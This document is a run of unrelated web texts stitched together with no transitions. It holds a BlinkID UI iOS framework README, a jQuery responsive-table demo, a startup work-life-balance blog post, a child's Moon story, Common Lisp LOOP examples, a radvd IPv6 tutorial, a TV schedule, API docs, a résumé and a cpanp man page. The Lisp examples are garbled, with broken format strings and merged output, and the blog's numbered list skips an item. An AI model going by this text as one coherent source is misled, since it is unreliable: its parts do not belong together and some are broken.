BlinkID UI for iOS
BlinkID UI is a framework that lets you scan any BlinkID supported document without even knowing what a Recognizer
is.
It includes a customizable scan view controller and country table view controller.
See our demo app.
New to BlinkID? Check out BlinkID SDK first.
Table of Contents
- Dependencies
- Getting BlinkID UI
- Quick Start
- Reporting Issues
- Feature requests
- FAQ
- Troubleshooting
- Documentation
Dependencies
BlinkID UI depends on BlinkID SDK. Since BlinkID uses git-lfs
you will need to install it to clone/install BlinkID UI through Cocoapods.
Easiest way to install git-lfs is using brew:
brew install git-lfs
git lfs install
Getting BlinkID UI
- Install git-lfs
- Clone this repo:
https://github.com/BlinkID/blinkid-ui-ios.git
or addpod 'MBBlinkIDUI'
to your podfile - (Integration without Cocoapods) Since BlinkID is included as a submodule you’ll need to run:
git submodule init git submodule update
- Check out the samples or follow the Quick Start guide to start using it in your project.
Quick Start
BlinkID UI is a Swift framework, but we are also supporting Objective-C.
Integration with Cocoapods
Add MBBlinkIDUI
to your target inside your Podfile
:
pod 'MBBlinkIDUI'
Run:
pod install
Integration without Cocoapods
This framework depends on BlinkID SDK so you’ll need to add the BlinkID framework to your embedded frameworks of your Xcode project. You can do this by dragging Microblink.framework and Microblink.bundle from blinkid-ios submodule into your project included in this repository.
Make sure Microblink.framework is added to the embedded frameworks in your target and Microblink.bundle is included in your Copy bundle resources build phase.
Now drag BlinkIDUI.xcodeproj to your project explorer. In the project navigator find Products in BlinkIDUI project and drag the BlinkIDUI.framework to your embedded frameworks in your target.
Implementation
After adding the framework to your project, you will need to do the following:
- First make sure that you correctly configured Microblink license. Check BlinkID documentation for more info.
- Implement the
MBBlinkDelegate
protocol. - Optional setup properties you want using
MBBlinkSettings
singleton. - Optional setup
UIColor
andUIFont
properties using extensions inMBTheme
. - Create an
MBBlinkIDUI
instance- Remember to hold a reference to
MBBlinkIDUI
instance. - Set its
MBBlinkDelegate
property. - Use its
recognizerRunnerViewController
property andpresent
it.
- Remember to hold a reference to
If you want to customise scanning behavior and UI take a look at FAQ. We tried to make this framework easily customizable, but still simple enough to be used out of the box.
Reading results
The MBRecognitionResult
class contains scanning results.
The class contains the resultTitle
which is usually a combination of the first name, and the last name read from the document.
Property resultEntries
contains an array of MBField
s, these are the results read from the document. Inside MBField
you will find the result value and an MBFieldKey
that describes it.
Images that can be returned are frontSideDocumentImage
if a two-sided or a one-sided document is scanned; and backSideDocumentImage
if a two-sided document is scanned.
A faceImage
will be returned if the used recognizer supports face image extractions and if the document contains a face image. The same principle applies to the signatureImage
.
Minimal Swift Example
import UIKit
import BlinkIDUI
import MicroBlink
class ViewConroller: UIViewController {
lazy var blinkIdUI: MBBlinkIDUI = MBBlinkIDUI()
override func viewDidLoad() {
super.viewDidLoad()
MBMicroblinkSDK.sharedInstance().setLicenseKey("License-Key")
}
@IBAction func scan(_ sender: Any) {
// You can set any settings for BlinkIDUI though MBBlinkSettings.sharedInstance:
MBBlinkSettings.sharedInstance.frameGrabberMode = .nothing
MBBlinkSettings.sharedInstance.shouldPlayScanSound = false
blinkIdUI.delegate = self
let recognizerRunnerViewController = blinkIdUI.recognizerRunnerViewController
present(recognizerRunnerViewController, animated: true, completion: nil)
}
}
extension ViewController: MBBlinkDelegate {
// Optional
func didStartScanning(withState state: MBScanState) {
// When scanning starts you will be notified through this method
}
func didScanEntireDocument(recognitionResult: MBRecognitionResult, successFrame: UIImage?) {
blinkIdUI.pauseScanning()
// Use recognition Result to present them to the user
// After presenting you can finish the scanning by dismissing:
// blinkIdUI.recognizerRunnerViewController.dismiss(animated: true, completion: nil)
// or you can resumeScanning and restart it:
blinkIdUI.resumeScanning()
blinkIdUI.restartScanning()
}
func didScanFirstSide(recognitionResult: MBRecognitionResult, successFrame: UIImage?) {
// If a document has two sides and if two separate recognizers are used
// this method will be called when the first side is scanned
}
// Optional
func didChangeDocument(newDocument: MBDocumentProvider, forCountry country: MBCountry) {
// When a user changes the document you will be notified through this method
}
// Optional
func didTapCancelButton() {
// You can set here what happens once the user taps the `X` button on the UI.
blinkIdUI.recognizerRunnerViewController.dismiss(animated: true, completion: nil)
}
}
Minimal Objective-C example
ViewController.h
#import <UIKit/UIKit.h>
@interface ViewController : UIViewController
@end
ViewController.m
#import "ViewController.h"
#import <MicroBlink/MicroBlink.h>
#import <BlinkIDUI/BlinkIDUI-Swift.h>
@interface ViewController ()<MBBlinkDelegate>
@property MBBlinkIDUI *blinkIDUI;
@end
@implementation ViewController
- (void)viewDidLoad {
[super viewDidLoad];
[[MBMicroblinkSDK sharedInstance] setLicenseKey:@"License-Key"];
}
- (IBAction)scan:(id)sender {
// You can set any settings for BlinkIDUI though MBBlinkSettings.sharedInstance:
MBBlinkSettings.sharedInstance.frameGrabberMode = MBFrameGrabberModeNothing;
MBBlinkSettings.sharedInstance.shouldPlayScanSound = NO;
self.blinkIDUI = [[MBBlinkIDUI alloc] init];
self.blinkIDUI.delegate = self;
[self presentViewController:self.blinkIDUI.recognizerRunnerViewController animated:YES completion:nil];
}
// Optional
- (void)didChangeDocumentWithNewDocument:(MBDocumentProvider *)newDocument forCountry:(MBCountry *)country {
// When a user changes the document you will be notified through this method
}
- (void)didScanEntireDocumentWithRecognitionResult:(MBRecognitionResult * _Nonnull)recognitionResult successFrame:(UIImage * _Nullable)successFrame {
[self.blinkIDUI pauseScanning];
// Use recognition Result to present them to the user
// After presenting you can finish the scanning by dismissing:
// [self.blinkIDUI.recognizerRunnerViewController dismissViewControllerAnimated:YES completion:nil];
// or you can resumeScanning and restart it:
[self.blinkIDUI resumeScanning];
[self.blinkIDUI restartScanning];
}
- (void)didScanFirstSideWithRecognitionResult:(MBRecognitionResult * _Nonnull)recognitionResult successFrame:(UIImage * _Nullable)successFrame {
// If a document has two sides and two separate recognizers are used
// this method will be called when the first side is scanned
}
// Optional
- (void)didStartScanningWithState:(MBScanState)state {
// You will be notified once the scanning starts through this method
}
// Optional
- (void)didTapCancelButton {
[self.blinkIDUI.recognizerRunnerViewController dismissViewControllerAnimated:YES completion:nil];
}
@end
Reporting Issues
If you find any issues open an issue here on GitHub, but please specify as much information as you can. Please specify:
- How did you add the framework to your project, Cocoapods/Manual.
- Xcode version.
- Swift or Objective-C.
- iOS device and iOS version used to run.
- Sample which we can use to reproduce the issue. You can also contact us at help.microblink.com.
Feature requests
If you have any feature requests, you can open an issue, or you can implement it and make a pull request. Please note that we try to keep the API similar to the the Android version of the framework.
Pull requests
When making pull requests specify the issue/feature your pull request solves/adds. If it’s a feature, add an example of why you need this feature. Otherwise, we might reject your pull request.
FAQ
How do I customize colors and fonts?
Check out MBTheme
file; it contains extensions of UIColor
and UIFont
.
The color palette is split in 3 colors, primary, secondary, tertiary and there’s also a shadow color which is separate from the palette.
Every text shown on the UI has its font defined here, you can set the font properties and change the font on the UI.
How do I disable scan sound?
Using MBBlinkSettings
shared instance you can set various scanning properties.
To turn off sound after a successful scan, set shouldPlayScanSound
to false
How do I limit selection to specific countries and document types?
Use MBDocumentChooserSettings
for the following:
- Use
countryFilter
to filter countries you want/don’t want users to pick in country table view controller. - Use
shouldShowDocumentTypeTabs
to show/hide the controller for choosing documents. - Use
shouldShowCountryChooser
to show/hide the button that opens country table view controller. - Use
sectionIndexMinimumDisplayRowCount
to set minimum number of rows to show index sidebar in country table view controller. - Use
isDocument(document: MBDocumentType, supportedForCountry country: MBCountry) -> Bool
to show/hide documents from certain countries. i.e. If you don’t want the user to be able to scan/pick Croatian ID this method would returnfalse
ifcountryCode
ofcountry
instance isMBSupportedCountry.croatia
and document isMBDocumentType.identityCard
. - Use
defaultDocumentTypeForCountry(country: MBCountry) -> MBDocumentType
to set the first document type to scan for the given country. - Use
didTapChooseCountry(documentChooserViewController: MBDocumentChooserViewController)
to set what happens when user taps choose country button.
How can I get scan only one side of the document?
In MBBlinkSettings
shared instance set the shouldScanBothDocumentSides
to false, this way scanning any side of the two-sided document will return a result.
How can I hide torch button?
In MBBlinkSettings
shared instance set the shouldShowTorchButton
to false.
How can I hide X
button?
In MBBlinkSettings
shared instance set the shouldShowCancelButton
to false.
How can I change/remove Having trouble scanning
Alert?
Implement your own MBTimeoutHandler
and set the property timeoutHandler
in MBBlinkSettings
shared instance.
How can I change document validation?
You can turn off document validation by setting shouldValidateDocuments
in MBBlinkSettings
to false
If the shouldValidateDocuments
is set to true, you can change the default behaviour when document is not validated by
implementing MBInvalidDocumentHandler
and setting the invalidDocumentHandler
in MBBlinkSettings
shared instance.
Implement your own MBTimeoutHandler
and set the property timeoutHandler
in MBBlinkSettings
shared instance.
How can I get success frames?
In MBBlinkSettings
set the frameGrabberMode
to success or allFrames, if you want to receive all frames you will need to provide MBFrameGrabberDelegate
by setting frameGrabberDelegate
property in MBBlinkSettings
shared instance.
How can I set my own text for labels and buttons?
In MBBlinkSettings
shared instance, you can find MBBlinkLanguageSettings
property. You can set various text properties, by default text is used from .strings
file provided through the framework.
Where do I get the license for my project?
Register at our site and you can get a BlinkID demo license key from the developer dashboard.
Troubleshooting
Getting the following error:
ignoring file .../PPBlinkID/MicroBlink.framework/MicroBlink, file was built for unsupported file format ( 0x76 0x65 0x72 0x73 0x69 0x6F 0x6E 0x20 0x68 0x74 0x74 0x70 0x73 0x3A 0x2F 0x2F ) which is not the architecture being linked (x86_64)MicroBlink.framework/MicroBlink
Most probable cause of this issue is missing git-lfs, or installing it after cloning the repository.
Simply install git-lfs, follow the instructions and run git-lfs pull
.
If you’ve installed the framework using Cocoapods run:
pod cache clean
pod install
You need to clean the Cocoapods cache because it cloned the repository without git-lfs.


基本实现使用默认参数设置。表格的响应式效果发生在宽度小于等于568像素的时候。
| Name | Age | Gender | Height | Province | Sport |
|---|---|---|---|---|---|
| Jill Smith | 25 | Female | 5'4 | British Columbia | Volleyball |
| John Stone | 30 | Male | 5'9 | Ontario | Badminton |
| Jane Strip | 29 | Female | 5'6 | Manitoba | Hockey |
| Gary Mountain | 21 | 5'8 | Alberta | Curling | |
| James Camera | 31 | Male | 6'1 | British Columbia | Hiking |
$('#table').basictable();
你可以手动修改每个表格的breakpoint。下面的例子将表格的breakpoint设置为768像素，以适应典型的平板电脑和portrait模式。
| Name | Age | Gender | Height | Province | Sport |
|---|---|---|---|---|---|
| Jill Smith | 25 | Female | 5'4 | British Columbia | Volleyball |
| John Stone | 30 | Male | 5'9 | Ontario | Badminton |
| Jane Strip | 29 | Female | 5'6 | Manitoba | Hockey |
| Gary Mountain | 21 | 5'8 | Alberta | Curling | |
| James Camera | 31 | Male | 6'1 | British Columbia | Hiking |
$('#table-breakpoint').basictable({
breakpoint: 768,
});
The script will not force the table to be responsive. The table will only go into responsive mode when the table is actually larger than its parent container. In this demo the parent of table is the div with id page.
| Name | Age | Gender | Height | Province | Sport |
|---|---|---|---|---|---|
| Jill Smith | 25 | Female | 5'4 | British Columbia | Volleyball |
| John Stone | 30 | Male | 5'9 | Ontario | Badminton |
| Jane Strip | 29 | Female | 5'6 | Manitoba | Hockey |
| Gary Mountain | 21 | 5'8 | Alberta | Curling | |
| James Camera | 31 | Male | 6'1 | British Columbia | Hiking |
$('#table-force-off').basictable({
forceResponsive: false,
});
Some tables could get very long in responsive. You could set a max-height in mobile where scrolling within the table would happen. Turn on tableWrapper to get a container around the table that toggles an active class. You could also just create your own wrapper and match the breakpoint to do this.
| Name | Age | Gender | Height | Province | Sport |
|---|---|---|---|---|---|
| Jill Smith | 25 | Female | 5'4 | British Columbia | Volleyball |
| John Stone | 30 | Male | 5'9 | Ontario | Badminton |
| Jane Strip | 29 | Female | 5'6 | Manitoba | Hockey |
| Gary Mountain | 21 | 5'8 | Alberta | Curling | |
| James Camera | 31 | Male | 6'1 | British Columbia | Hiking |
$('#table-max-height').basictable({
tableWrapper: true
});
If you don't want to use the js bind on resize you can use css to control the breakpoint itself. Using basic table to setup the structure itself and copying basictable.css styles into your own media query.
| Name | Age | Gender | Height | Province | Sport |
|---|---|---|---|---|---|
| Jill Smith | 25 | Female | 5'4 | British Columbia | Volleyball |
| John Stone | 30 | Male | 5'9 | Ontario | Badminton |
| Jane Strip | 29 | Female | 5'6 | Manitoba | Hockey |
| Gary Mountain | 21 | 5'8 | Alberta | Curling | |
| James Camera | 31 | Male | 6'1 | British Columbia | Hiking |
@media only screen and (max-width: 568px) {
#table-no-resize thead {
display: none;
}
#table-no-resize tbody td {
border: none !important;
display: block;
vertical-align: top;
}
#table-no-resize tbody td:before {
content: attr(data-th) ": ";
display: inline-block;
font-weight: bold;
width: 6.5em;
}
#table-no-resize tbody td.bt-hide {
display: none;
}
}
$('#table-no-resize').basictable({
noResize: true,
});
Two axis could be styled differently. This does not need to be done through the library itself. The example code will show how to target the first column in desktop and first row in responsive mode.
| Name | Age | Gender | Height | Province | Sport |
|---|---|---|---|---|---|
| Jill Smith | 25 | Female | 5'4 | British Columbia | Volleyball |
| John Stone | 30 | Male | 5'9 | Ontario | Badminton |
| Jane Strip | 29 | Female | 5'6 | Manitoba | Hockey |
| Gary Mountain | 21 | 5'8 | Alberta | Curling | |
| James Camera | 31 | Male | 6'1 | British Columbia | Hiking |
table.two-axis tr td:first-of-type {
background: #DFF1F7;
}
@media only screen and (max-width: 568px) {
table.two-axis tr td:first-of-type,
table.two-axis tr:nth-of-type(2n+2) td:first-of-type,
table.two-axis tr td:first-of-type:before
{
background: #DFF1F7;
color: #FFFFFF;
}
table.two-axis tr td:first-of-type {
border-bottom: 1px solid #E4EBEB;
}
}


I recently was browsing on TechCrunch and stumbled upon a compelling article offering a twist on the typical Work-Life Balance argument geared towards startup founders and small business owners.
The article can be summed up in the following two points:
1) Increase the amount of activities in your life that increase your productivity.
2) Decrease the amount of activities in your life that decrease your productivity.
Astonishing, right?
At first I was a bit taken back as this seemed like a very elementary and simplistic statement; Did this guy really spend his entire afternoon writing this seemingly meaningless post?
Yet despite my initial reaction I continued reading and what I found was amazingly helpful and has since re-shaped the way I view work-life balance. Take for example the simple logical argument containing two premises and a conclusion:
Premise 1: IF I participate in activities that decrease my stress level, THEN I will be more productive
Premise 2: IF I am more productive, THEN I am adding value to my startup.
Following the rules of classical logic thus brings us to the following conclusion:
Conclusion: IF I participate in activities that decrease my stress level, THEN I am adding value to my startup
I apologize if using the above logical argument came across as "beating a dead horse" but I do believe it serves a purpose. As small business owners and startup founders we are always told to BEWARE of falling into the deep, dark pit of having a poor work-life balance. The problem with this is when you own your own company there is no clear-cut black and white divider between your work and your life. You could be at dinner with your lovely girlfriend for Valentines Day and then BAMMM! You get smacked in the face with an email from a VIP client. Then all of a sudden your "life" life has just been blended into your "work" life without you even having a say in the matter.
Which brings me to my main point: You will NEVER have a traditional work-life balance if you are a small business owner or a startup founder. It is simply impossible.
And what I mean by "traditional" is: Work from 9am - 5pm and then do "life-stuff" from 5pm until you pass out while watching the weather channel.
The fact of the matter is, when you are working on a startup every minute you spend that is not geared towards growing your business is a minute wasted. Right? You will never get that minute back. So it is wasted.
So what are us startup persons to do?! Our only solution is to change our psychology in how we view work-life balance. We have already established that as a startup founder there is no start-and-stop to our work days and weeks. It all blends together. So now are only option is to take the typical "life activities" (eating, exercising, sleeping, relationships, bowling, walking, running, playing pick-up basketball, reading, fishing, you name it!) and restructure them in our minds so that we see those activities as part of our job!
Let me reiterate: As a startup founder, the only way to have proper work-life balance is to view typical life activities as part of your job.
Implementing this into my own life has completely changed my life and the way I perceive spending time on activities that do not directly relate to my business.
Below I have listed 5 logical arguments (the shorthand versions) that I have applied to my own life which have greatly helped my personal "work-life balance". They are all based on 5 activities that I have found decrease my stress level:
1.  Maintaining Relationships: IF I allocate time to spend time with my friends and maintain strong relationships, THEN I will not feel alone on an island, THEREFORE I will be more confident and add value to my business
3. Eating Properly: IF the majority of my meals are healthy unprocessed foods, THEN I do not feel lethargic and like I'm the stay-puffed marshmallow man, THEREFORE I will be more equipped to work and add value to my business
4. Keeping a Weekly Schedule: IF I organize my tasks and meetings dates in a calendar, THEN I do not feel overwhelmed, THEREFORE I am more productive and add value to my business
5. Getting Rest: IF I stay well-rested, THEN my brain is able to function properly, THEREFORE I am able to process information more quickly and accurately and add value to my business
What is the keyword in all of the statements? ADD VALUE TO MY BUSINESS.
At the end of the day, it is our job as founders to add value to our respective businesses. And if participating in activities that lower stress and make us more capable of performing our job, then what are we not doing more of these activities?
Start viewing these seeming "life-activities" as a part of your job, not as a part of your work-life balance, and you will be better off! I promise you.


Once upon a time there was a girl named Luna.
She really loved the Moon.
One day her aunt, Linda, asked her if she wanted to come to the space center because she worked there. So she said yes. They were working on a space trip to the Moon. She was really excited to see the rocket.
When she got there she saw the rocket. She was amazed. She wanted to go in the rocket. Her aunt said no but, she went anyway. She went up the staircase. She went into the rocket. Her aunt went after her, but she was too fast. Her aunt, Linda yelled, “Luna, Stop!” but Luna would not stop. When her aunt caught up to her she was in the rocket.
The aunt got in the rocket and said, “Luna, get out this instant!” but Luna said “No!” Luna accidentally pressed the launch button and the aunt said, “now we go to the Moon!” The aunt said, “okay put your space suit on.” “Okay,” said Luna and it counted down.
5-4-3-2-1 Blast off!
They went into space. Luna said, “where are we going? We are going to the Moon!” “What are we doing on the Moon?” asked Luna. “We are exploring the Moon for living life on it” said her aunt. Luna said, “Fun! I love it. It will be fun. I love the Moon!” Said Luna.
Luna saw many cool things. She saw a black hole. She said she loved it so much. She even made up a song about the Moon. “I love the Moon so much!”
She was almost at the Moon. Her aunt said, “you can go on the Moon for 10 minutes.” They landed on the Moon! They got off the rocket and went down to the Moon. They explored for 5 minutes. Then Luna saw something pink moving around. She looked at it and it moved. It was an alien!
The alien was very nice. The alien’s name was Bob. They got along very well. They made friends. They saw something, it looked like an asteroid. She needed something to stop it. Bob forgot to show her something. It was his secret lair.
They went to the secret lair. Her aunt, Linda said, “Whoa!” It was so cool. She loved it so much. They looked around for something to stop the meteor. They found a really big net. They got it all ready. It was almost time for the meteor to hit Earth. They needed to get ready because if they wanted to save the Earth they needed a plan. So they were going to fly in the rocket ship then she would cover up the meteor. Then go back to earth. So the time had come to save Earth.
So they went in the rocketship and everyone was cheering for Luna. The meteor was almost to Earth. 5 minutes later they caught it.
They spent a little time in the aliens lair. Then Bob said, “Please do not tell everyone I was real.” Luna did not. They went back to earth and everyone called her the girl in the moon.
20 years later she worked at Nasa Space Center. She got asked to go on a real mission to Mars. She went to Mars two months after that. She had two kids Rose and Solar. They loved space too. Luna put up a picture and it had her on the moon. Her old friend the alien sent her funny photos of him every day. She wrote a book about it. It was called, LUNA, the girl in the moon.


Next: Examples of ALWAYS, Previous: Termination Test Clauses, Up: Termination Test Clauses
(loop repeat 3 do (format t "~&What I say three times is true.~ |> What I say three times is true. |> What I say three times is true. |> What I say three times is true. ⇒ NIL (loop repeat -15 do (format t "What you see is what you expect~ ⇒ NIL


The Linux IPv6 Router Advertisement Daemon (radvd)
Background
radvd (the router advertisement daemon) sends IPv6 advertisements and responds to node IPv6 requests. Here's the description from the man page.
radvd is the router advertisement daemon for IPv6. It listens to router solicitations and sends router advertisements as described in "Neighbor Discovery for IP Version 6 (IPv6)" (RFC 4861). With these advertisements hosts can automatically configure their addresses and some other parameters. They also can choose a default router based on these advertisements.
Installation and Setup
Setting radvd is suspiciously easy compared to other linux services. First you install it.
sudo apt install radvd
Installing it will also start the service so we can use systemctl
to check how it's doing.
systemctl status radvd
systemctl status radvd ● radvd.service - LSB: Router Advertising Daemon Loaded: loaded (/etc/init.d/radvd; bad; vendor preset: enabled) Active: active (exited) since Fri 2018-07-20 12:39:19 PDT; 36s ago Docs: man:systemd-sysv-generator(8) Jul 20 12:39:18 asgaard systemd[1]: Starting LSB: Router Advertising Daemon... Jul 20 12:39:19 asgaard radvd[8532]: Starting radvd: Jul 20 12:39:19 asgaard radvd[8532]: * /etc/radvd.conf does not exist or is empty. Jul 20 12:39:19 asgaard radvd[8532]: * See /usr/share/doc/radvd/README.Debian Jul 20 12:39:19 asgaard radvd[8532]: * radvd will *not* be started. Jul 20 12:39:19 asgaard systemd[1]: Started LSB: Router Advertising Daemon.
You can see in the output that there's a line with /etc/radvd.conf does not exist or is empty.
. To fix this we're going to create the configuration file.
The Configuration File
Now create a configuration file (named radvd.conf
). Here's an example.
interface eth0 { MinRtrAdvInterval 3; MaxRtrAdvInterval 4; AdvSendAdvert on; AdvManagedFlag on; prefix 2001:db7::/64 { AdvValidLifetime 14300; AdvPreferredLifetime 14200; } ; };
Note that the interface name depends on your system. Most linux systems don't use the eth0
convention anymore. On my desktop the ethernet inteface is called enp1s0
and on my raspberry pi it's enxb827eb6c9129
so make sure you check what your interface name is using ifconfig
.
Now move (or copy) the config file into /etc/
sudo mv radvd.conf /etc/
And then restart radvd
and check its state.
sudo service radvd restart systemctl status radvd
● radvd.service - LSB: Router Advertising Daemon Loaded: loaded (/etc/init.d/radvd; bad; vendor preset: enabled) Active: active (exited) since Fri 2018-07-20 12:41:36 PDT; 2s ago Docs: man:systemd-sysv-generator(8) Process: 10008 ExecStop=/etc/init.d/radvd stop (code=exited, status=0/SUCCESS) Process: 10017 ExecStart=/etc/init.d/radvd start (code=exited, status=0/SUCCESS) Jul 20 12:41:36 asgaard systemd[1]: Starting LSB: Router Advertising Daemon... Jul 20 12:41:36 asgaard radvd[10017]: Starting radvd: Jul 20 12:41:36 asgaard radvd[10017]: * IPv6 forwarding seems to be disabled. Jul 20 12:41:36 asgaard radvd[10017]: * See /usr/share/doc/radvd/README.Debian Jul 20 12:41:36 asgaard radvd[10017]: * radvd will *not* be started. Jul 20 12:41:36 asgaard systemd[1]: Started LSB: Router Advertising Daemon.
So the warning about the configuration file went away, now we have to fix the IPv6 forwarding seems to be disabled.
error.
Enable IPv6 Forwarding
For now you can enable it at the command line.
sudo sysctl -w net.ipv6.conf.all.forwarding=1
And restart and check radvd
again.
sudo service radvd restart systemctl status radvd
● radvd.service - LSB: Router Advertising Daemon Loaded: loaded (/etc/init.d/radvd; bad; vendor preset: enabled) Active: active (running) since Fri 2018-07-20 12:45:02 PDT; 20s ago Docs: man:systemd-sysv-generator(8) Process: 12255 ExecStop=/etc/init.d/radvd stop (code=exited, status=0/SUCCESS) Process: 12264 ExecStart=/etc/init.d/radvd start (code=exited, status=0/SUCCESS) CGroup: /system.slice/radvd.service ├─12275 /usr/sbin/radvd -u radvd -p /var/run/radvd/radvd.pid └─12276 /usr/sbin/radvd -u radvd -p /var/run/radvd/radvd.pid Jul 20 12:45:01 asgaard systemd[1]: Starting LSB: Router Advertising Daemon... Jul 20 12:45:02 asgaard radvd[12274]: version 2.11 started Jul 20 12:45:02 asgaard radvd[12264]: Starting radvd: radvd. Jul 20 12:45:02 asgaard systemd[1]: Started LSB: Router Advertising Daemon.
So it looks like our daemon is working. If you restart the server, though, the IPv6 port forwarding won't be enabled so open up /etc/sysctl.conf
and un-comment out the following line.
net.ipv6.conf.all.forwarding=1
Now the next time you power on the computer it should be enabled.
Checking
To check if it's working you can put another device on the LAN and check ifconfig
. In our radvd.conf
file we defined the prefix for the address:
prefix 2001:db7::/64
So in the ifconfig
output we should see an entry for an IPv6 address that starts with 2001:db7::
. In fact I ended up with two.
inet6 2001:db7::b8b4:6adf:6267:5571 prefixlen 64 scopeid 0x0<global> inet6 2001:db7::a80c:1a05:eaac:c1e8 prefixlen 64 scopeid 0x0<global>
Sources
- IPv6 auto-configuration - how to setup radvd (from linux.com)


Cardinals Rewind, Cardinals Warmup to air throughout offseason on FOX Sports Midwest
by FOX Sports MidwestFOX Sports Midwest will air St. Louis Cardinals programming throughout November, December and January, looking back at the 2019 season and getting fans ready for 2020.
Cardinals Rewind returns Tuesday, Nov. 19. Each episode relives memorable moments and games of the Cardinals’ division-winning season.
Cardinals Warmup debuts Nov. 27 and features FOX Sports Midwest’s Cardinals broadcasters discussing the latest hot stove news.
Offseason Cardinals programming on FOX Sports Midwest also includes the annual Cardinals Confidential from the Winter Meetings and a marathon of great games on Christmas Day.
Cardinals offseason programming on FOX Sports Midwest | Schedule subject to change
| Day, Date | Time (Central) | Program |
| Tuesday, Nov. 19 | 5:30 p.m. | Cardinals Rewind (year in review) |
| Wednesday, Nov. 27 | 5 p.m. | Cardinals Warmup |
| Tuesday, Dec. 3 | 7 p.m. | Cardinals Rewind (Sept. 18 vs. Washington; Wainwright vs. Scherzer) |
| Tuesday, Dec. 10 | 5 p.m | Cardinals Rewind (Flaherty’s second-half surge) |
| Wednesday, Dec. 18 | TBD | Cardinals Confidential |
| Wednesday, Dec. 25 | TBD | Christmas Marathon |
| Wednesday, Jan. 1 | TBD | Cardinals Rewind (July 19 vs. Cincinnati; 10-run inning) |
| Wednesday, Jan. 8 | TBD | Cardinals Warmup |
| Tuesday, Jan. 14 | TBD | Cardinals Rewind (sweep at Wrigley) |
| Tuesday, Jan. 21 | TBD | Cardinals Warmup |


@(user: models.users.User) @main("Home", user) {
EAT
PLAY
RELAX
Enjoy your summer vacation beyond the clouds and venture to the unexplored.
See the beauty and the unknown and explore more of this great planet
WIDEN YOUR WORLD
Join Us!
At Irish Flights


polylidar.polylidarutil.plane_filtering¶
Classes
|
A geometry type representing an area that is enclosed by a linear ring. |
alias of |
Functions
|
|
|
|
|
Converts polygons from Polylidar to Shapely polygons. |
|
Extracts the plane and obstacles returned from polylidar. |
|
|
|
|
|
|
|


I'm a front end web developer and UI/UX designer, and I believe that the goal of web development and design is to make applications/web pages that present users with the information they want in the style they prefer. I find this both challenging and exciting, and is one of the reasons I find coding and designing so much fun.
Created web pages using HTML, CSS, and JavaScript, or WordPress. Coordinated Twitter, Facebook, LinkedIn, and/or YouTube pages for maximum effect. Made custom Twitter backgrounds and custom Facebook fan pages.
Formatted paperbacks in InDesign (full cover and interior), and formatted ebooks for publication. Titles have been recipients of the Mom's Choice Award, the Scribe Award, the EPIC Award, and the Midwest Book Award.
Application Development Associate at Accenture. In addition, I volunteered to speak about the process of finding a job to students participating in Junior Achievement.
Leader/lecturer and receptionist - running the meeting, giving the weekly presentation, counseling members, greeting and weighing members, maintaining records, doing bookkeeping for each meeting. Received awards for most at-work meetings as a receptionist, and for the number of meetings where I filled in for other leaders who were ill or on vacation. Guided several members to lifetime status.
Editing shopper surveys. Including querying shoppers for details, proofreading reports, correcting grammar and spelling.
Word processor at Lerner Publications, assisting in various editorial tasks, including photo research, manuscript preparation, company newsletter, problem solving.
eal-time, online applications (flight schedules and other airline applications, plus hotel reservations) in FORTRAN, BAL
(assembler language)
Technical Writer at Century Design.
Full Stack Web Development: Intensive 24-week course dedicated to designing and building web applications. Skills covered consisted of HTML5, CSS, JavaScript, jQuery, Bootstrap, Handlebars, Firebase, Node.js, MySQL, MongoDB, Heroku, Express, ReactJS, REST, MVC Paradigm, and Responsive Design.
The Iron Yard offers immersive, 12-week courses that go far beyond tactical skills and teach students to think as a software engineer. The process shows students to learn how to learn so as to keep current on technologies in the long run. The Front End Engineering course focuses on creating experiences in web browsers that users see and interact with. The lessons cover web design principles to complex JavaScript applications (including ReactJS) that manage data, in addition to HTML and CSS.
Associate instructor of astronomy, graduate courses in astronomy
Bachelor of Physics degree
HTML5
CSS: Includes Bootstrap, SASS, Elemental UI, Media Queries
JavaScript libraries: jQuery, Lodash, Babel, Aphrodite
JavaScript testing and compatibility: Testing projects work across devices and through updates.
Backend basics: Deploy apps to local and live environments.
Tools: Node.js, NPM, Horizon, Express
JavaScript foundations: Types, functions, objects, scope, closures, constructors, prototypes and much more. Built applications with JavaScript.
Structured tools to create applications quickly and integrate them seamlessly: ReactJS
Version control: Git, GitHub
Databases: Firebase, MySQL, MongoDB
Architectual Styles: REST, MVC
WordPress, Adobe Creative Suite (InDesign and Photoshop), Microsoft Word, Excel, PowerPoint, Figma, Sketch, Adobe XD
I have served on the board of directors of The Minnesota Science Fiction Society and The Mythopoeic Society
Member of the Science Fiction and Fantasy Writers of America and the International Association of Media Tie-In Writers
Twelve: A Retelling of The Twelve Dancing Princesses
Defying the Ghosts
Wondry Dragon Finds a Home
Modern Surprises
Sword of Queens
Danger Zone
Extreme Hazard
Situation: Critical
Deadly Danger
Action Alert
Countdown to Action
Boldly Writing
Voyager: Exploring the Outer Planets
"Revenge, Denied"
"The Wisest Wizard"
“The Sum of the Parts"
"Working Together in a Novel Way", The Writing Group Book
"Post-It Software Notes", ComputerUser magazine
"Coda Music Technology", ComputerUser magazine
"Computer Manuscript Formatting" SCBWI Bulletin
"The Three Great Myths of Writing", SCBWI Bulletin
"She Dunit", Mpls./St. Paul Magazine


CPANP
Section: Perl Programmers Reference Guide (1)Updated: 2012-06-22
Index Return to Main Contents
NAME
cpanp - The CPANPLUS launcherSYNOPSIS
cpanpcpanp [-]a [ --[no-]option... ] author...
cpanp [-]mfitulrcz [ --[no-]option... ] module...
cpanp [-]d [ --[no-]option... ] [ --fetchdir=... ] module...
cpanp [-]xb [ --[no-]option... ]
cpanp [-]o [ --[no-]option... ] [ module... ]
DESCRIPTION
This script launches the CPANPLUS utility to perform various operations from the command line. If it's invoked without arguments, an interactive shell is executed by default.Optionally, it can take a single-letter switch and one or more argument, to perform the associated action on each arguments. A summary of the available commands is listed below; "cpanp -h" provides a detailed list.
h # help information v # version information a AUTHOR ... # search by author(s) m MODULE ... # search by module(s) f MODULE ... # list all releases of a module i MODULE ... # install module(s) t MODULE ... # test module(s) u MODULE ... # uninstall module(s) d MODULE ... # download module(s) l MODULE ... # display detailed information about module(s) r MODULE ... # display README files of module(s) c MODULE ... # check for module report(s) from cpan-testers z MODULE ... # extract module(s) and open command prompt in it x # reload CPAN indices o [ MODULE ... ] # list installed module(s) that aren't up to date b # write a bundle file for your configuration
Each command may be followed by one or more options. If preceded by "no", the corresponding option will be set to 0, otherwise it's set to 1.
Example: To skip a module's tests,
cpanp -i --skiptest MODULE ...
